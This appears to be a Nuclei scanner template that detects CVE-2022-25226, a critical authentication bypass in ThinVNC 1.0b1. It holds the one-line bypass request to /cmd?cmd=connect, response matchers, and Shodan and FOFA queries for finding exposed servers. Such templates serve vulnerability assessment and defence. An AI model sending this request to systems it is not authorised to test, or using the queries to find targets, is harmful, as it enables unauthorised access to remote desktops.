id: CVE-2022-25226

info:
  name: ThinVNC - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via a specific command, potentially leading to unauthorized access and code execution.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the ThinVNC server.
  remediation: |
    Apply the vendor-supplied patch or update to the latest version to mitigate the CVE-2022-25226 vulnerability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2022-25226
    epss-score: 0.00318
    epss-percentile: 0.70147
    cpe: cpe:2.3:a:cybelsoft:thinvnc:1.0:b1:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: cybelsoft
    product: thinvnc
    shodan-query: http.favicon.hash:-1414548363
    fofa-query: icon_hash="571240285"
  tags: cve,cve2022,thinvnc,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/cmd?cmd=connect"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'cmd":"connectStatus'
          - 'authStatus":1'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dbdc3e33fd9846284ebb32a699ba24edce117b60ae63aa4757c652a2b4801bc602201948bd4841da811f21769b3aacdbec38f0fa013eba1a3453f03a59f77f9ac3a9:922c64590222798bb761d5b6d8e72950